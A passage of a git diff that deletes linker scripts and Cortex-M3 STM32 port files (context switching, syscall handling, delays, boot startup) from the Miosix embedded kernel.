64K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32_512k+64k_xram_processes.ld b/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32_512k+64k_xram_processes.ld deleted file mode 100644 index 4c0b7153c..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/stm32_512k+64k_xram_processes.ld +++ /dev/null @@ -1,174 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 64K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 64KB microcontrollers */ -_heap_end = 0x20010000; /* end of available ram */ - -/* Mapping the process pool into external RAM */ -_process_pool_start = 0x68000000; -_process_pool_end = 0x68100000; - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 64K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f2/common/arch_settings.h b/miosix/arch/cortexM3_stm32f2/common/arch_settings.h deleted file mode 100644 index 9457c373d..000000000 --- a/miosix/arch/cortexM3_stm32f2/common/arch_settings.h +++ /dev/null @@ -1,56 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal Size of vector to store registers during ctx switch (9*4=36Bytes) -/// Only sp and r4-r11 are saved here, since r0-r3,r12,lr,pc,xPSR and -/// old sp are saved by hardware on the process stack on Cortex M3 CPUs. -const unsigned char CTXSAVE_SIZE=9; - -/// \internal some architectures save part of the context on their stack. -/// This constant is used to increase the stack size by the size of context -/// save frame. If zero, this architecture does not save anything on stack -/// during context save. Size is in bytes, not words. -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=32; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f2/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM3_stm32f2/common/interfaces-impl/delays.cpp deleted file mode 100644 index 9f82e3187..000000000 --- a/miosix/arch/cortexM3_stm32f2/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,111 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" - -namespace miosix { - -void delayMs(unsigned int mseconds) -{ - #ifndef __CODE_IN_XRAM - - #ifdef SYSCLK_FREQ_120MHz - register const unsigned int count=40000; //Flash 3 wait state - #else //SYSCLK_FREQ_120MHz - #error "Delays are uncalibrated for this clock frequency" - #endif //SYSCLK_FREQ_120MHz - - #else //__CODE_IN_XRAM - - #ifdef SYSCLK_FREQ_120MHz - - //When running code from external RAM delays depend on the RAM timings - #if defined(_BOARD_STM3220G_EVAL) - register const unsigned int count=5000; - #elif defined(_BOARD_ETHBOARDV2) - register const unsigned int count=6000; - #else - #error "Delays are uncalibrated for this clock board" - #endif - - #else //SYSCLK_FREQ_120MHz - #error "Delays are uncalibrated for this clock frequency" - #endif //SYSCLK_FREQ_120MHz - - #endif //__CODE_IN_XRAM - - for(unsigned int i=0;i * - ***************************************************************************/ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "drivers/stm32_gpio.h" - -#endif //GPIO_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM3_stm32f2/common/interfaces-impl/portability.cpp deleted file mode 100644 index 0ad91df61..000000000 --- a/miosix/arch/cortexM3_stm32f2/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,249 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include "core/interrupts.h" -#include "kernel/process.h" -#include -#include -#include -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - #ifdef WITH_PROCESSES - // WARNING: Temporary fix. Rationale: - // This fix is intended to avoid kernel or process faulting due to - // another process actions. Consider the case in which a process statically - // allocates a big array such that there is no space left for saving - // context data. If the process issues a system call, in the following - // interrupt the context is saved, but since there is no memory available - // for all the context data, a mem manage interrupt is set to 'pending'. Then, - // a fake syscall is issued, based on the value read on the stack (which - // the process hasn't set due to the memory fault and is likely to be 0); - // this syscall is usually a yield (due to the value of 0 above), - // which can cause the scheduling of the kernel thread. At this point, - // the pending mem fault is issued from the kernel thread, causing the - // kernel fault and reboot. This is caused by the mem fault interrupt - // having less priority of the other interrupts. - // This fix checks if there is a mem fault interrupt pending, and, if so, - // it clears it and returns before calling the previously mentioned fake - // syscall. - if(SCB->SHCSR & (1<<13)) - { - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - fault::MP,0,0))) - { - SCB->SHCSR &= ~(1<<13); //Clear MEMFAULTPENDED bit - return; - } - } - #endif // WITH_PROCESSES - miosix::Thread::IRQstackOverflowCheck(); - - #ifdef WITH_PROCESSES - //If processes are enabled, check the content of r3. If zero then it - //it is a simple yield, otherwise handle the syscall - //Note that it is required to use ctxsave and not cur->ctxsave because - //at this time we do not know if the active context is user or kernel - unsigned int threadSp=ctxsave[0]; - unsigned int *processStack=reinterpret_cast(threadSp); - if(processStack[3]!=static_cast(miosix::Syscall::YIELD)) - miosix::Thread::IRQhandleSvc(processStack[3]); - else miosix::Scheduler::IRQfindNextThread(); - #else //WITH_PROCESSES - miosix::Scheduler::IRQfindNextThread(); - #endif //WITH_PROCESSES -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized -} - -#ifdef WITH_PROCESSES - -// -// class FaultData -// - -void FaultData::print() const -{ - using namespace fault; - switch(id) - { - case MP: - iprintf("* Attempted data access @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case MP_NOADDR: - iprintf("* Invalid data access (PC was 0x%x)\n",pc); - break; - case MP_XN: - iprintf("* Attempted instruction fetch @ 0x%x\n",pc); - break; - case UF_DIVZERO: - iprintf("* Dvide by zero (PC was 0x%x)\n",pc); - break; - case UF_UNALIGNED: - iprintf("* Unaligned memory access (PC was 0x%x)\n",pc); - break; - case UF_COPROC: - iprintf("* Attempted coprocessor access (PC was 0x%x)\n",pc); - break; - case UF_EXCRET: - iprintf("* Invalid exception return sequence (PC was 0x%x)\n",pc); - break; - case UF_EPSR: - iprintf("* Attempted access to the EPSR (PC was 0x%x)\n",pc); - break; - case UF_UNDEF: - iprintf("* Undefined instruction (PC was 0x%x)\n",pc); - break; - case UF_UNEXP: - iprintf("* Unexpected usage fault (PC was 0x%x)\n",pc); - break; - case HARDFAULT: - iprintf("* Hardfault (PC was 0x%x)\n",pc); - break; - case BF: - iprintf("* Busfault @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case BF_NOADDR: - iprintf("* Busfault (PC was 0x%x)\n",pc); - break; - case STACKOVERFLOW: - iprintf("* Stack overflow\n"); - break; - } -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), int argc, - void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd) -{ - unsigned int *stackPtr=reinterpret_cast(argvSp); - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast(pc); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=reinterpret_cast(heapEnd); stackPtr--; //--> r3 - *stackPtr=reinterpret_cast(envp); stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argvSp); stackPtr--; //--> r1 - *stackPtr=argc; //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - ctxsave[6]=reinterpret_cast(gotBase); //--> r9 - //leaving the content of r4-r8,r10-r11 uninitialized - //NOTE: Cortex M3 differs from Cortex M4/M7 as ctxsave does not contain lr -} - -#endif //WITH_PROCESSES - -void IRQportableStartKernel() -{ - //Enable fault handlers - SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk - | SCB_SHCSR_MEMFAULTENA_Msk; - //Enable traps for division by zero. Trap for unaligned memory access - //was removed as gcc starting from 4.7.2 generates unaligned accesses by - //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) - SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; - NVIC_SetPriorityGrouping(7);//This should disable interrupt nesting - NVIC_SetPriority(SVCall_IRQn,3);//High priority for SVC (Max=0, min=15) - NVIC_SetPriority(MemoryManagement_IRQn,2);//Higher priority for MemoryManagement (Max=0, min=15) - - #ifdef WITH_PROCESSES - miosix::IRQenableMPUatBoot(); - #endif //WITH_PROCESSES - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not matched - //by a call to disableInterrupts() - __enable_fault_irq(); - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM3_stm32f2/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM3_stm32f2/common/interfaces-impl/portability_impl.h deleted file mode 100644 index 54264f7ed..000000000 --- a/miosix/arch/cortexM3_stm32f2/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,200 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "interfaces/portability.h" -#include "config/miosix_settings.h" -#include - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ -#define saveContext() \ - asm volatile("stmdb sp!, {lr} \n\t" /*save lr on MAIN stack*/ \ - "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ - "ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "stmia r0, {r1,r4-r11} \n\t" /*save PROCESS sp + r4-r11*/ \ - "dmb \n\t" \ - ); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ -#define restoreContext() \ - asm volatile("ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "ldmia r0, {r1,r4-r11} \n\t" /*restore r4-r11 + r1=psp*/ \ - "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ - "ldmia sp!, {pc} \n\t" /*return*/ \ - ); - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -#ifdef WITH_PROCESSES - -namespace { -/* - * ARM syscall parameter mapping - * Syscall id is r3, saved at registers[3] - * - * Parameter 1 is r0, saved at registers[0] - * Parameter 2 is r1, saved at registers[1] - * Parameter 3 is r2, saved at registers[2] - * Parameter 4 is r12, saved at registers[4] - */ -constexpr unsigned int armSyscallMapping[]={0,1,2,4}; -} - -// -// class SyscallParameters -// - -inline SyscallParameters::SyscallParameters(unsigned int *context) : - registers(reinterpret_cast(context[0])) {} - -inline int SyscallParameters::getSyscallId() const -{ - return registers[3]; -} - -inline unsigned int SyscallParameters::getParameter(unsigned int index) const -{ - assert(index<4); - return registers[armSyscallMapping[index]]; -} - -inline void SyscallParameters::setParameter(unsigned int index, unsigned int value) -{ - assert(index<4); - registers[armSyscallMapping[index]]=value; -} - -inline void portableSwitchToUserspace() -{ - asm volatile("movs r3, #1\n\t" - "svc 0" - :::"r3"); -} - -#endif //WITH_PROCESSES - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205_generic/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f2/stm32f205_generic/core/stage_1_boot.cpp deleted file mode 100644 index a9a04045b..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205_generic/core/stage_1_boot.cpp +++ /dev/null @@ -1,412 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f2 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - #ifndef __CODE_IN_XRAM - memcpy(data, etext, edata-data); - #else //__CODE_IN_XRAM - (void)etext; //Avoid unused variable warning - (void)data; - (void)edata; - #endif //__CODE_IN_XRAM - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - #ifdef __CODE_IN_XRAM - /** - * Before calling the initalization code, set the stack pointer to the - * required value. At first it might seem redundant setting the stack - * pointer since the hardware should take care of this, but there is a - * corner case in which it is not set properly: - * 1) A debugger like openocd is used to run the code - * 2) Debugged code is run from external RAM - * In this case, in FLASH starting from 0x00000000 there is a bootloader - * that forwards interrupt vectors to their address in external RAM - * at address 0x64000000. The bootloader can also be used to load the code - * but this is uninteresting here. The problem is that the bootloader uses - * the internal RAM for its stack, so @ 0x00000000 there is the value - * 0x20000000 (top of internal RAM). When a debugger like openocd loads the - * debuged code in external RAM starting from 0x64000000 it mimics the - * harware behaviour of setting the stack pointer. But it loads the value at - * 0x00000000, not the value at 0x64000000. Therefore the stack pointer - * is set to the stak used by the bootloader (top of INTERNAL RAM) instead - * of the stack of the debugged code (top of EXTERNAL RAM). - * Since this quirk happens only when running code from external RAM, the - * fix is enclosed in an #ifdef __CODE_IN_XRAM - */ - asm volatile("ldr sp, =_main_stack_top\n\t"); - #endif //__CODE_IN_XRAM - - /* - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * Second, when running Miosix with the xram linker scripts .data and .bss - * are placed in the external RAM, so we *must* call SystemInit(), which - * enables xram, before touching .data and .bss - * Third, this is a performance improvement since the loops that initialize - * .data and zeros .bss now run with the CPU at full speed instead of 16MHz - * Note that it is called before switching stacks because the memory - * at _heap_end can be unavailable until the external RAM is initialized. - */ - SystemInit(); - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) 